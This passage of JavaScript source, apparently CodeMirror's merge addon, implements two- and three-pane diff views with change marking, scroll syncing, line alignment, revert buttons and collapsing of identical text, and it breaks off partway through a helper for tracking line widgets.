mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n  \"use strict\";\n  var Pos = CodeMirror.Pos;\n  var svgNS = \"http://www.w3.org/2000/svg\";\n\n  function DiffView(mv, type) {\n    this.mv = mv;\n    this.type = type;\n    this.classes = type == \"left\"\n      ? {chunk: \"CodeMirror-merge-l-chunk\",\n         start: \"CodeMirror-merge-l-chunk-start\",\n         end: \"CodeMirror-merge-l-chunk-end\",\n         insert: \"CodeMirror-merge-l-inserted\",\n         del: \"CodeMirror-merge-l-deleted\",\n         connect: \"CodeMirror-merge-l-connect\"}\n      : {chunk: \"CodeMirror-merge-r-chunk\",\n         start: \"CodeMirror-merge-r-chunk-start\",\n         end: \"CodeMirror-merge-r-chunk-end\",\n         insert: \"CodeMirror-merge-r-inserted\",\n         del: \"CodeMirror-merge-r-deleted\",\n         connect: \"CodeMirror-merge-r-connect\"};\n  }\n\n  DiffView.prototype = {\n    constructor: DiffView,\n    init: function(pane, orig, options) {\n      this.edit = this.mv.edit;\n      ;(this.edit.state.diffViews || (this.edit.state.diffViews = [])).push(this);\n      this.orig = CodeMirror(pane, copyObj({value: orig, readOnly: !this.mv.options.allowEditingOriginals}, copyObj(options)));\n      if (this.mv.options.connect == \"align\") {\n        if (!this.edit.state.trackAlignable) this.edit.state.trackAlignable = new TrackAlignable(this.edit)\n        this.orig.state.trackAlignable = new TrackAlignable(this.orig)\n      }\n\n      this.orig.state.diffViews = [this];\n      var classLocation = options.chunkClassLocation || \"background\";\n      if (Object.prototype.toString.call(classLocation) != \"[object Array]\") classLocation = [classLocation]\n      this.classes.classLocation = classLocation\n\n      this.diff = getDiff(asString(orig), asString(options.value), this.mv.options.ignoreWhitespace);\n      this.chunks = getChunks(this.diff);\n      this.diffOutOfDate = this.dealigned = false;\n      this.needsScrollSync = null\n\n      this.showDifferences = options.showDifferences !== false;\n    },\n    registerEvents: function(otherDv) {\n      this.forceUpdate = registerUpdate(this);\n      setScrollLock(this, true, false);\n      registerScroll(this, otherDv);\n    },\n    setShowDifferences: function(val) {\n      val = val !== false;\n      if (val != this.showDifferences) {\n        this.showDifferences = val;\n        this.forceUpdate(\"full\");\n      }\n    }\n  };\n\n  function ensureDiff(dv) {\n    if (dv.diffOutOfDate) {\n      dv.diff = getDiff(dv.orig.getValue(), dv.edit.getValue(), dv.mv.options.ignoreWhitespace);\n      dv.chunks = getChunks(dv.diff);\n      dv.diffOutOfDate = false;\n      CodeMirror.signal(dv.edit, \"updateDiff\", dv.diff);\n    }\n  }\n\n  var updating = false;\n  function registerUpdate(dv) {\n    var edit = {from: 0, to: 0, marked: []};\n    var orig = {from: 0, to: 0, marked: []};\n    var debounceChange, updatingFast = false;\n    function update(mode) {\n      updating = true;\n      updatingFast = false;\n      if (mode == \"full\") {\n        if (dv.svg) clear(dv.svg);\n        if (dv.copyButtons) clear(dv.copyButtons);\n        clearMarks(dv.edit, edit.marked, dv.classes);\n        clearMarks(dv.orig, orig.marked, dv.classes);\n        edit.from = edit.to = orig.from = orig.to = 0;\n      }\n      ensureDiff(dv);\n      if (dv.showDifferences) {\n        updateMarks(dv.edit, dv.diff, edit, DIFF_INSERT, dv.classes);\n        updateMarks(dv.orig, dv.diff, orig, DIFF_DELETE, dv.classes);\n      }\n\n      if (dv.mv.options.connect == \"align\")\n        alignChunks(dv);\n      makeConnections(dv);\n      if (dv.needsScrollSync != null) syncScroll(dv, dv.needsScrollSync)\n\n      updating = false;\n    }\n    function setDealign(fast) {\n      if (updating) return;\n      dv.dealigned = true;\n      set(fast);\n    }\n    function set(fast) {\n      if (updating || updatingFast) return;\n      clearTimeout(debounceChange);\n      if (fast === true) updatingFast = true;\n      debounceChange = setTimeout(update, fast === true ? 20 : 250);\n    }\n    function change(_cm, change) {\n      if (!dv.diffOutOfDate) {\n        dv.diffOutOfDate = true;\n        edit.from = edit.to = orig.from = orig.to = 0;\n      }\n      // Update faster when a line was added/removed\n      setDealign(change.text.length - 1 != change.to.line - change.from.line);\n    }\n    function swapDoc() {\n      dv.diffOutOfDate = true;\n      dv.dealigned = true;\n      update(\"full\");\n    }\n    dv.edit.on(\"change\", change);\n    dv.orig.on(\"change\", change);\n    dv.edit.on(\"swapDoc\", swapDoc);\n    dv.orig.on(\"swapDoc\", swapDoc);\n    if (dv.mv.options.connect == \"align\") {\n      CodeMirror.on(dv.edit.state.trackAlignable, \"realign\", setDealign)\n      CodeMirror.on(dv.orig.state.trackAlignable, \"realign\", setDealign)\n    }\n    dv.edit.on(\"viewportChange\", function() { set(false); });\n    dv.orig.on(\"viewportChange\", function() { set(false); });\n    update();\n    return update;\n  }\n\n  function registerScroll(dv, otherDv) {\n    dv.edit.on(\"scroll\", function() {\n      syncScroll(dv, true) && makeConnections(dv);\n    });\n    dv.orig.on(\"scroll\", function() {\n      syncScroll(dv, false) && makeConnections(dv);\n      if (otherDv) syncScroll(otherDv, true) && makeConnections(otherDv);\n    });\n  }\n\n  function syncScroll(dv, toOrig) {\n    // Change handler will do a refresh after a timeout when diff is out of date\n    if (dv.diffOutOfDate) {\n      if (dv.lockScroll && dv.needsScrollSync == null) dv.needsScrollSync = toOrig\n      return false\n    }\n    dv.needsScrollSync = null\n    if (!dv.lockScroll) return true;\n    var editor, other, now = +new Date;\n    if (toOrig) { editor = dv.edit; other = dv.orig; }\n    else { editor = dv.orig; other = dv.edit; }\n    // Don't take action if the position of this editor was recently set\n    // (to prevent feedback loops)\n    if (editor.state.scrollSetBy == dv && (editor.state.scrollSetAt || 0) + 250 > now) return false;\n\n    var sInfo = editor.getScrollInfo();\n    if (dv.mv.options.connect == \"align\") {\n      targetPos = sInfo.top;\n    } else {\n      var halfScreen = .5 * sInfo.clientHeight, midY = sInfo.top + halfScreen;\n      var mid = editor.lineAtHeight(midY, \"local\");\n      var around = chunkBoundariesAround(dv.chunks, mid, toOrig);\n      var off = getOffsets(editor, toOrig ? around.edit : around.orig);\n      var offOther = getOffsets(other, toOrig ? around.orig : around.edit);\n      var ratio = (midY - off.top) / (off.bot - off.top);\n      var targetPos = (offOther.top - halfScreen) + ratio * (offOther.bot - offOther.top);\n\n      var botDist, mix;\n      // Some careful tweaking to make sure no space is left out of view\n      // when scrolling to top or bottom.\n      if (targetPos > sInfo.top && (mix = sInfo.top / halfScreen) < 1) {\n        targetPos = targetPos * mix + sInfo.top * (1 - mix);\n      } else if ((botDist = sInfo.height - sInfo.clientHeight - sInfo.top) < halfScreen) {\n        var otherInfo = other.getScrollInfo();\n        var botDistOther = otherInfo.height - otherInfo.clientHeight - targetPos;\n        if (botDistOther > botDist && (mix = botDist / halfScreen) < 1)\n          targetPos = targetPos * mix + (otherInfo.height - otherInfo.clientHeight - botDist) * (1 - mix);\n      }\n    }\n\n    other.scrollTo(sInfo.left, targetPos);\n    other.state.scrollSetAt = now;\n    other.state.scrollSetBy = dv;\n    return true;\n  }\n\n  function getOffsets(editor, around) {\n    var bot = around.after;\n    if (bot == null) bot = editor.lastLine() + 1;\n    return {top: editor.heightAtLine(around.before || 0, \"local\"),\n            bot: editor.heightAtLine(bot, \"local\")};\n  }\n\n  function setScrollLock(dv, val, action) {\n    dv.lockScroll = val;\n    if (val && action != false) syncScroll(dv, DIFF_INSERT) && makeConnections(dv);\n    dv.lockButton.innerHTML = val ? \"\\u21db\\u21da\" : \"\\u21db&nbsp;&nbsp;\\u21da\";\n  }\n\n  // Updating the marks for editor content\n\n  function removeClass(editor, line, classes) {\n    var locs = classes.classLocation\n    for (var i = 0; i < locs.length; i++) {\n      editor.removeLineClass(line, locs[i], classes.chunk);\n      editor.removeLineClass(line, locs[i], classes.start);\n      editor.removeLineClass(line, locs[i], classes.end);\n    }\n  }\n\n  function clearMarks(editor, arr, classes) {\n    for (var i = 0; i < arr.length; ++i) {\n      var mark = arr[i];\n      if (mark instanceof CodeMirror.TextMarker)\n        mark.clear();\n      else if (mark.parent)\n        removeClass(editor, mark, classes);\n    }\n    arr.length = 0;\n  }\n\n  // FIXME maybe add a margin around viewport to prevent too many updates\n  function updateMarks(editor, diff, state, type, classes) {\n    var vp = editor.getViewport();\n    editor.operation(function() {\n      if (state.from == state.to || vp.from - state.to > 20 || state.from - vp.to > 20) {\n        clearMarks(editor, state.marked, classes);\n        markChanges(editor, diff, type, state.marked, vp.from, vp.to, classes);\n        state.from = vp.from; state.to = vp.to;\n      } else {\n        if (vp.from < state.from) {\n          markChanges(editor, diff, type, state.marked, vp.from, state.from, classes);\n          state.from = vp.from;\n        }\n        if (vp.to > state.to) {\n          markChanges(editor, diff, type, state.marked, state.to, vp.to, classes);\n          state.to = vp.to;\n        }\n      }\n    });\n  }\n\n  function addClass(editor, lineNr, classes, main, start, end) {\n    var locs = classes.classLocation, line = editor.getLineHandle(lineNr);\n    for (var i = 0; i < locs.length; i++) {\n      if (main) editor.addLineClass(line, locs[i], classes.chunk);\n      if (start) editor.addLineClass(line, locs[i], classes.start);\n      if (end) editor.addLineClass(line, locs[i], classes.end);\n    }\n    return line;\n  }\n\n  function markChanges(editor, diff, type, marks, from, to, classes) {\n    var pos = Pos(0, 0);\n    var top = Pos(from, 0), bot = editor.clipPos(Pos(to - 1));\n    var cls = type == DIFF_DELETE ? classes.del : classes.insert;\n    function markChunk(start, end) {\n      var bfrom = Math.max(from, start), bto = Math.min(to, end);\n      for (var i = bfrom; i < bto; ++i)\n        marks.push(addClass(editor, i, classes, true, i == start, i == end - 1));\n      // When the chunk is empty, make sure a horizontal line shows up\n      if (start == end && bfrom == end && bto == end) {\n        if (bfrom)\n          marks.push(addClass(editor, bfrom - 1, classes, false, false, true));\n        else\n          marks.push(addClass(editor, bfrom, classes, false, true, false));\n      }\n    }\n\n    var chunkStart = 0, pending = false;\n    for (var i = 0; i < diff.length; ++i) {\n      var part = diff[i], tp = part[0], str = part[1];\n      if (tp == DIFF_EQUAL) {\n        var cleanFrom = pos.line + (startOfLineClean(diff, i) ? 0 : 1);\n        moveOver(pos, str);\n        var cleanTo = pos.line + (endOfLineClean(diff, i) ? 1 : 0);\n        if (cleanTo > cleanFrom) {\n          if (pending) { markChunk(chunkStart, cleanFrom); pending = false }\n          chunkStart = cleanTo;\n        }\n      } else {\n        pending = true\n        if (tp == type) {\n          var end = moveOver(pos, str, true);\n          var a = posMax(top, pos), b = posMin(bot, end);\n          if (!posEq(a, b))\n            marks.push(editor.markText(a, b, {className: cls}));\n          pos = end;\n        }\n      }\n    }\n    if (pending) markChunk(chunkStart, pos.line + 1);\n  }\n\n  // Updating the gap between editor and original\n\n  function makeConnections(dv) {\n    if (!dv.showDifferences) return;\n\n    if (dv.svg) {\n      clear(dv.svg);\n      var w = dv.gap.offsetWidth;\n      attrs(dv.svg, \"width\", w, \"height\", dv.gap.offsetHeight);\n    }\n    if (dv.copyButtons) clear(dv.copyButtons);\n\n    var vpEdit = dv.edit.getViewport(), vpOrig = dv.orig.getViewport();\n    var outerTop = dv.mv.wrap.getBoundingClientRect().top\n    var sTopEdit = outerTop - dv.edit.getScrollerElement().getBoundingClientRect().top + dv.edit.getScrollInfo().top\n    var sTopOrig = outerTop - dv.orig.getScrollerElement().getBoundingClientRect().top + dv.orig.getScrollInfo().top;\n    for (var i = 0; i < dv.chunks.length; i++) {\n      var ch = dv.chunks[i];\n      if (ch.editFrom <= vpEdit.to && ch.editTo >= vpEdit.from &&\n          ch.origFrom <= vpOrig.to && ch.origTo >= vpOrig.from)\n        drawConnectorsForChunk(dv, ch, sTopOrig, sTopEdit, w);\n    }\n  }\n\n  function getMatchingOrigLine(editLine, chunks) {\n    var editStart = 0, origStart = 0;\n    for (var i = 0; i < chunks.length; i++) {\n      var chunk = chunks[i];\n      if (chunk.editTo > editLine && chunk.editFrom <= editLine) return null;\n      if (chunk.editFrom > editLine) break;\n      editStart = chunk.editTo;\n      origStart = chunk.origTo;\n    }\n    return origStart + (editLine - editStart);\n  }\n\n  // Combines information about chunks and widgets/markers to return\n  // an array of lines, in a single editor, that probably need to be\n  // aligned with their counterparts in the editor next to it.\n  function alignableFor(cm, chunks, isOrig) {\n    var tracker = cm.state.trackAlignable\n    var start = cm.firstLine(), trackI = 0\n    var result = []\n    for (var i = 0;; i++) {\n      var chunk = chunks[i]\n      var chunkStart = !chunk ? 1e9 : isOrig ? chunk.origFrom : chunk.editFrom\n      for (; trackI < tracker.alignable.length; trackI += 2) {\n        var n = tracker.alignable[trackI] + 1\n        if (n <= start) continue\n        if (n <= chunkStart) result.push(n)\n        else break\n      }\n      if (!chunk) break\n      result.push(start = isOrig ? chunk.origTo : chunk.editTo)\n    }\n    return result\n  }\n\n  // Given information about alignable lines in two editors, fill in\n  // the result (an array of three-element arrays) to reflect the\n  // lines that need to be aligned with each other.\n  function mergeAlignable(result, origAlignable, chunks, setIndex) {\n    var rI = 0, origI = 0, chunkI = 0, diff = 0\n    outer: for (;; rI++) {\n      var nextR = result[rI], nextO = origAlignable[origI]\n      if (!nextR && nextO == null) break\n\n      var rLine = nextR ? nextR[0] : 1e9, oLine = nextO == null ? 1e9 : nextO\n      while (chunkI < chunks.length) {\n        var chunk = chunks[chunkI]\n        if (chunk.origFrom <= oLine && chunk.origTo > oLine) {\n          origI++\n          rI--\n          continue outer;\n        }\n        if (chunk.editTo > rLine) {\n          if (chunk.editFrom <= rLine) continue outer;\n          break\n        }\n        diff += (chunk.origTo - chunk.origFrom) - (chunk.editTo - chunk.editFrom)\n        chunkI++\n      }\n      if (rLine == oLine - diff) {\n        nextR[setIndex] = oLine\n        origI++\n      } else if (rLine < oLine - diff) {\n        nextR[setIndex] = rLine + diff\n      } else {\n        var record = [oLine - diff, null, null]\n        record[setIndex] = oLine\n        result.splice(rI, 0, record)\n        origI++\n      }\n    }\n  }\n\n  function findAlignedLines(dv, other) {\n    var alignable = alignableFor(dv.edit, dv.chunks, false), result = []\n    if (other) for (var i = 0, j = 0; i < other.chunks.length; i++) {\n      var n = other.chunks[i].editTo\n      while (j < alignable.length && alignable[j] < n) j++\n      if (j == alignable.length || alignable[j] != n) alignable.splice(j++, 0, n)\n    }\n    for (var i = 0; i < alignable.length; i++)\n      result.push([alignable[i], null, null])\n\n    mergeAlignable(result, alignableFor(dv.orig, dv.chunks, true), dv.chunks, 1)\n    if (other)\n      mergeAlignable(result, alignableFor(other.orig, other.chunks, true), other.chunks, 2)\n\n    return result\n  }\n\n  function alignChunks(dv, force) {\n    if (!dv.dealigned && !force) return;\n    if (!dv.orig.curOp) return dv.orig.operation(function() {\n      alignChunks(dv, force);\n    });\n\n    dv.dealigned = false;\n    var other = dv.mv.left == dv ? dv.mv.right : dv.mv.left;\n    if (other) {\n      ensureDiff(other);\n      other.dealigned = false;\n    }\n    var linesToAlign = findAlignedLines(dv, other);\n\n    // Clear old aligners\n    var aligners = dv.mv.aligners;\n    for (var i = 0; i < aligners.length; i++)\n      aligners[i].clear();\n    aligners.length = 0;\n\n    var cm = [dv.edit, dv.orig], scroll = [];\n    if (other) cm.push(other.orig);\n    for (var i = 0; i < cm.length; i++)\n      scroll.push(cm[i].getScrollInfo().top);\n\n    for (var ln = 0; ln < linesToAlign.length; ln++)\n      alignLines(cm, linesToAlign[ln], aligners);\n\n    for (var i = 0; i < cm.length; i++)\n      cm[i].scrollTo(null, scroll[i]);\n  }\n\n  function alignLines(cm, lines, aligners) {\n    var maxOffset = 0, offset = [];\n    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {\n      var off = cm[i].heightAtLine(lines[i], \"local\");\n      offset[i] = off;\n      maxOffset = Math.max(maxOffset, off);\n    }\n    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {\n      var diff = maxOffset - offset[i];\n      if (diff > 1)\n        aligners.push(padAbove(cm[i], lines[i], diff));\n    }\n  }\n\n  function padAbove(cm, line, size) {\n    var above = true;\n    if (line > cm.lastLine()) {\n      line--;\n      above = false;\n    }\n    var elt = document.createElement(\"div\");\n    elt.className = \"CodeMirror-merge-spacer\";\n    elt.style.height = size + \"px\"; elt.style.minWidth = \"1px\";\n    return cm.addLineWidget(line, elt, {height: size, above: above, mergeSpacer: true, handleMouseEvents: true});\n  }\n\n  function drawConnectorsForChunk(dv, chunk, sTopOrig, sTopEdit, w) {\n    var flip = dv.type == \"left\";\n    var top = dv.orig.heightAtLine(chunk.origFrom, \"local\", true) - sTopOrig;\n    if (dv.svg) {\n      var topLpx = top;\n      var topRpx = dv.edit.heightAtLine(chunk.editFrom, \"local\", true) - sTopEdit;\n      if (flip) { var tmp = topLpx; topLpx = topRpx; topRpx = tmp; }\n      var botLpx = dv.orig.heightAtLine(chunk.origTo, \"local\", true) - sTopOrig;\n      var botRpx = dv.edit.heightAtLine(chunk.editTo, \"local\", true) - sTopEdit;\n      if (flip) { var tmp = botLpx; botLpx = botRpx; botRpx = tmp; }\n      var curveTop = \" C \" + w/2 + \" \" + topRpx + \" \" + w/2 + \" \" + topLpx + \" \" + (w + 2) + \" \" + topLpx;\n      var curveBot = \" C \" + w/2 + \" \" + botLpx + \" \" + w/2 + \" \" + botRpx + \" -1 \" + botRpx;\n      attrs(dv.svg.appendChild(document.createElementNS(svgNS, \"path\")),\n            \"d\", \"M -1 \" + topRpx + curveTop + \" L \" + (w + 2) + \" \" + botLpx + curveBot + \" z\",\n            \"class\", dv.classes.connect);\n    }\n    if (dv.copyButtons) {\n      var copy = dv.copyButtons.appendChild(elt(\"div\", dv.type == \"left\" ? \"\\u21dd\" : \"\\u21dc\",\n                                                \"CodeMirror-merge-copy\"));\n      var editOriginals = dv.mv.options.allowEditingOriginals;\n      copy.title = editOriginals ? \"Push to left\" : \"Revert chunk\";\n      copy.chunk = chunk;\n      copy.style.top = (chunk.origTo > chunk.origFrom ? top : dv.edit.heightAtLine(chunk.editFrom, \"local\") - sTopEdit) + \"px\";\n\n      if (editOriginals) {\n        var topReverse = dv.edit.heightAtLine(chunk.editFrom, \"local\") - sTopEdit;\n        var copyReverse = dv.copyButtons.appendChild(elt(\"div\", dv.type == \"right\" ? \"\\u21dd\" : \"\\u21dc\",\n                                                         \"CodeMirror-merge-copy-reverse\"));\n        copyReverse.title = \"Push to right\";\n        copyReverse.chunk = {editFrom: chunk.origFrom, editTo: chunk.origTo,\n                             origFrom: chunk.editFrom, origTo: chunk.editTo};\n        copyReverse.style.top = topReverse + \"px\";\n        dv.type == \"right\" ? copyReverse.style.left = \"2px\" : copyReverse.style.right = \"2px\";\n      }\n    }\n  }\n\n  function copyChunk(dv, to, from, chunk) {\n    if (dv.diffOutOfDate) return;\n    var origStart = chunk.origTo > from.lastLine() ? Pos(chunk.origFrom - 1) : Pos(chunk.origFrom, 0)\n    var origEnd = Pos(chunk.origTo, 0)\n    var editStart = chunk.editTo > to.lastLine() ? Pos(chunk.editFrom - 1) : Pos(chunk.editFrom, 0)\n    var editEnd = Pos(chunk.editTo, 0)\n    var handler = dv.mv.options.revertChunk\n    if (handler)\n      handler(dv.mv, from, origStart, origEnd, to, editStart, editEnd)\n    else\n      to.replaceRange(from.getRange(origStart, origEnd), editStart, editEnd)\n  }\n\n  // Merge view, containing 0, 1, or 2 diff views.\n\n  var MergeView = CodeMirror.MergeView = function(node, options) {\n    if (!(this instanceof MergeView)) return new MergeView(node, options);\n\n    this.options = options;\n    var origLeft = options.origLeft, origRight = options.origRight == null ? options.orig : options.origRight;\n\n    var hasLeft = origLeft != null, hasRight = origRight != null;\n    var panes = 1 + (hasLeft ? 1 : 0) + (hasRight ? 1 : 0);\n    var wrap = [], left = this.left = null, right = this.right = null;\n    var self = this;\n\n    if (hasLeft) {\n      left = this.left = new DiffView(this, \"left\");\n      var leftPane = elt(\"div\", null, \"CodeMirror-merge-pane CodeMirror-merge-left\");\n      wrap.push(leftPane);\n      wrap.push(buildGap(left));\n    }\n\n    var editPane = elt(\"div\", null, \"CodeMirror-merge-pane CodeMirror-merge-editor\");\n    wrap.push(editPane);\n\n    if (hasRight) {\n      right = this.right = new DiffView(this, \"right\");\n      wrap.push(buildGap(right));\n      var rightPane = elt(\"div\", null, \"CodeMirror-merge-pane CodeMirror-merge-right\");\n      wrap.push(rightPane);\n    }\n\n    (hasRight ? rightPane : editPane).className += \" CodeMirror-merge-pane-rightmost\";\n\n    wrap.push(elt(\"div\", null, null, \"height: 0; clear: both;\"));\n\n    var wrapElt = this.wrap = node.appendChild(elt(\"div\", wrap, \"CodeMirror-merge CodeMirror-merge-\" + panes + \"pane\"));\n    this.edit = CodeMirror(editPane, copyObj(options));\n\n    if (left) left.init(leftPane, origLeft, options);\n    if (right) right.init(rightPane, origRight, options);\n    if (options.collapseIdentical)\n      this.editor().operation(function() {\n        collapseIdenticalStretches(self, options.collapseIdentical);\n      });\n    if (options.connect == \"align\") {\n      this.aligners = [];\n      alignChunks(this.left || this.right, true);\n    }\n    if (left) left.registerEvents(right)\n    if (right) right.registerEvents(left)\n\n\n    var onResize = function() {\n      if (left) makeConnections(left);\n      if (right) makeConnections(right);\n    };\n    CodeMirror.on(window, \"resize\", onResize);\n    var resizeInterval = setInterval(function() {\n      for (var p = wrapElt.parentNode; p && p != document.body; p = p.parentNode) {}\n      if (!p) { clearInterval(resizeInterval); CodeMirror.off(window, \"resize\", onResize); }\n    }, 5000);\n  };\n\n  function buildGap(dv) {\n    var lock = dv.lockButton = elt(\"div\", null, \"CodeMirror-merge-scrolllock\");\n    lock.title = \"Toggle locked scrolling\";\n    var lockWrap = elt(\"div\", [lock], \"CodeMirror-merge-scrolllock-wrap\");\n    CodeMirror.on(lock, \"click\", function() { setScrollLock(dv, !dv.lockScroll); });\n    var gapElts = [lockWrap];\n    if (dv.mv.options.revertButtons !== false) {\n      dv.copyButtons = elt(\"div\", null, \"CodeMirror-merge-copybuttons-\" + dv.type);\n      CodeMirror.on(dv.copyButtons, \"click\", function(e) {\n        var node = e.target || e.srcElement;\n        if (!node.chunk) return;\n        if (node.className == \"CodeMirror-merge-copy-reverse\") {\n          copyChunk(dv, dv.orig, dv.edit, node.chunk);\n          return;\n        }\n        copyChunk(dv, dv.edit, dv.orig, node.chunk);\n      });\n      gapElts.unshift(dv.copyButtons);\n    }\n    if (dv.mv.options.connect != \"align\") {\n      var svg = document.createElementNS && document.createElementNS(svgNS, \"svg\");\n      if (svg && !svg.createSVGRect) svg = null;\n      dv.svg = svg;\n      if (svg) gapElts.push(svg);\n    }\n\n    return dv.gap = elt(\"div\", gapElts, \"CodeMirror-merge-gap\");\n  }\n\n  MergeView.prototype = {\n    constructor: MergeView,\n    editor: function() { return this.edit; },\n    rightOriginal: function() { return this.right && this.right.orig; },\n    leftOriginal: function() { return this.left && this.left.orig; },\n    setShowDifferences: function(val) {\n      if (this.right) this.right.setShowDifferences(val);\n      if (this.left) this.left.setShowDifferences(val);\n    },\n    rightChunks: function() {\n      if (this.right) { ensureDiff(this.right); return this.right.chunks; }\n    },\n    leftChunks: function() {\n      if (this.left) { ensureDiff(this.left); return this.left.chunks; }\n    }\n  };\n\n  function asString(obj) {\n    if (typeof obj == \"string\") return obj;\n    else return obj.getValue();\n  }\n\n  // Operations on diffs\n\n  var dmp = new diff_match_patch();\n  function getDiff(a, b, ignoreWhitespace) {\n    var diff = dmp.diff_main(a, b);\n    // The library sometimes leaves in empty parts, which confuse the algorithm\n    for (var i = 0; i < diff.length; ++i) {\n      var part = diff[i];\n      if (ignoreWhitespace ? !/[^ \\t]/.test(part[1]) : !part[1]) {\n        diff.splice(i--, 1);\n      } else if (i && diff[i - 1][0] == part[0]) {\n        diff.splice(i--, 1);\n        diff[i][1] += part[1];\n      }\n    }\n    return diff;\n  }\n\n  function getChunks(diff) {\n    var chunks = [];\n    var startEdit = 0, startOrig = 0;\n    var edit = Pos(0, 0), orig = Pos(0, 0);\n    for (var i = 0; i < diff.length; ++i) {\n      var part = diff[i], tp = part[0];\n      if (tp == DIFF_EQUAL) {\n        var startOff = !startOfLineClean(diff, i) || edit.line < startEdit || orig.line < startOrig ? 1 : 0;\n        var cleanFromEdit = edit.line + startOff, cleanFromOrig = orig.line + startOff;\n        moveOver(edit, part[1], null, orig);\n        var endOff = endOfLineClean(diff, i) ? 1 : 0;\n        var cleanToEdit = edit.line + endOff, cleanToOrig = orig.line + endOff;\n        if (cleanToEdit > cleanFromEdit) {\n          if (i) chunks.push({origFrom: startOrig, origTo: cleanFromOrig,\n                              editFrom: startEdit, editTo: cleanFromEdit});\n          startEdit = cleanToEdit; startOrig = cleanToOrig;\n        }\n      } else {\n        moveOver(tp == DIFF_INSERT ? edit : orig, part[1]);\n      }\n    }\n    if (startEdit <= edit.line || startOrig <= orig.line)\n      chunks.push({origFrom: startOrig, origTo: orig.line + 1,\n                   editFrom: startEdit, editTo: edit.line + 1});\n    return chunks;\n  }\n\n  function endOfLineClean(diff, i) {\n    if (i == diff.length - 1) return true;\n    var next = diff[i + 1][1];\n    if ((next.length == 1 && i < diff.length - 2) || next.charCodeAt(0) != 10) return false;\n    if (i == diff.length - 2) return true;\n    next = diff[i + 2][1];\n    return (next.length > 1 || i == diff.length - 3) && next.charCodeAt(0) == 10;\n  }\n\n  function startOfLineClean(diff, i) {\n    if (i == 0) return true;\n    var last = diff[i - 1][1];\n    if (last.charCodeAt(last.length - 1) != 10) return false;\n    if (i == 1) return true;\n    last = diff[i - 2][1];\n    return last.charCodeAt(last.length - 1) == 10;\n  }\n\n  function chunkBoundariesAround(chunks, n, nInEdit) {\n    var beforeE, afterE, beforeO, afterO;\n    for (var i = 0; i < chunks.length; i++) {\n      var chunk = chunks[i];\n      var fromLocal = nInEdit ? chunk.editFrom : chunk.origFrom;\n      var toLocal = nInEdit ? chunk.editTo : chunk.origTo;\n      if (afterE == null) {\n        if (fromLocal > n) { afterE = chunk.editFrom; afterO = chunk.origFrom; }\n        else if (toLocal > n) { afterE = chunk.editTo; afterO = chunk.origTo; }\n      }\n      if (toLocal <= n) { beforeE = chunk.editTo; beforeO = chunk.origTo; }\n      else if (fromLocal <= n) { beforeE = chunk.editFrom; beforeO = chunk.origFrom; }\n    }\n    return {edit: {before: beforeE, after: afterE}, orig: {before: beforeO, after: afterO}};\n  }\n\n  function collapseSingle(cm, from, to) {\n    cm.addLineClass(from, \"wrap\", \"CodeMirror-merge-collapsed-line\");\n    var widget = document.createElement(\"span\");\n    widget.className = \"CodeMirror-merge-collapsed-widget\";\n    widget.title = \"Identical text collapsed. Click to expand.\";\n    var mark = cm.markText(Pos(from, 0), Pos(to - 1), {\n      inclusiveLeft: true,\n      inclusiveRight: true,\n      replacedWith: widget,\n      clearOnEnter: true\n    });\n    function clear() {\n      mark.clear();\n      cm.removeLineClass(from, \"wrap\", \"CodeMirror-merge-collapsed-line\");\n    }\n    CodeMirror.on(widget, \"click\", clear);\n    return {mark: mark, clear: clear};\n  }\n\n  function collapseStretch(size, editors) {\n    var marks = [];\n    function clear() {\n      for (var i = 0; i < marks.length; i++) marks[i].clear();\n    }\n    for (var i = 0; i < editors.length; i++) {\n      var editor = editors[i];\n      var mark = collapseSingle(editor.cm, editor.line, editor.line + size);\n      marks.push(mark);\n      mark.mark.on(\"clear\", clear);\n    }\n    return marks[0].mark;\n  }\n\n  function unclearNearChunks(dv, margin, off, clear) {\n    for (var i = 0; i < dv.chunks.length; i++) {\n      var chunk = dv.chunks[i];\n      for (var l = chunk.editFrom - margin; l < chunk.editTo + margin; l++) {\n        var pos = l + off;\n        if (pos >= 0 && pos < clear.length) clear[pos] = false;\n      }\n    }\n  }\n\n  function collapseIdenticalStretches(mv, margin) {\n    if (typeof margin != \"number\") margin = 2;\n    var clear = [], edit = mv.editor(), off = edit.firstLine();\n    for (var l = off, e = edit.lastLine(); l <= e; l++) clear.push(true);\n    if (mv.left) unclearNearChunks(mv.left, margin, off, clear);\n    if (mv.right) unclearNearChunks(mv.right, margin, off, clear);\n\n    for (var i = 0; i < clear.length; i++) {\n      if (clear[i]) {\n        var line = i + off;\n        for (var size = 1; i < clear.length - 1 && clear[i + 1]; i++, size++) {}\n        if (size > margin) {\n          var editors = [{line: line, cm: edit}];\n          if (mv.left) editors.push({line: getMatchingOrigLine(line, mv.left.chunks), cm: mv.left.orig});\n          if (mv.right) editors.push({line: getMatchingOrigLine(line, mv.right.chunks), cm: mv.right.orig});\n          var mark = collapseStretch(size, editors);\n          if (mv.options.onCollapse) mv.options.onCollapse(mv, line, size, mark);\n        }\n      }\n    }\n  }\n\n  // General utilities\n\n  function elt(tag, content, className, style) {\n    var e = document.createElement(tag);\n    if (className) e.className = className;\n    if (style) e.style.cssText = style;\n    if (typeof content == \"string\") e.appendChild(document.createTextNode(content));\n    else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);\n    return e;\n  }\n\n  function clear(node) {\n    for (var count = node.childNodes.length; count > 0; --count)\n      node.removeChild(node.firstChild);\n  }\n\n  function attrs(elt) {\n    for (var i = 1; i < arguments.length; i += 2)\n      elt.setAttribute(arguments[i], arguments[i+1]);\n  }\n\n  function copyObj(obj, target) {\n    if (!target) target = {};\n    for (var prop in obj) if (obj.hasOwnProperty(prop)) target[prop] = obj[prop];\n    return target;\n  }\n\n  function moveOver(pos, str, copy, other) {\n    var out = copy ? Pos(pos.line, pos.ch) : pos, at = 0;\n    for (;;) {\n      var nl = str.indexOf(\"\\n\", at);\n      if (nl == -1) break;\n      ++out.line;\n      if (other) ++other.line;\n      at = nl + 1;\n    }\n    out.ch = (at ? 0 : out.ch) + (str.length - at);\n    if (other) other.ch = (at ? 0 : other.ch) + (str.length - at);\n    return out;\n  }\n\n  // Tracks collapsed markers and line widgets, in order to be able to\n  // accurately align the content of two editors.\n\n  var F_WIDGET = 1, F_WIDGET_BELOW = 2, F_MARKER = 4\n\n  function TrackAlignable(cm) {\n    this.cm = cm\n    this.alignable = []\n    this.height = cm.doc.height\n    var self = this\n    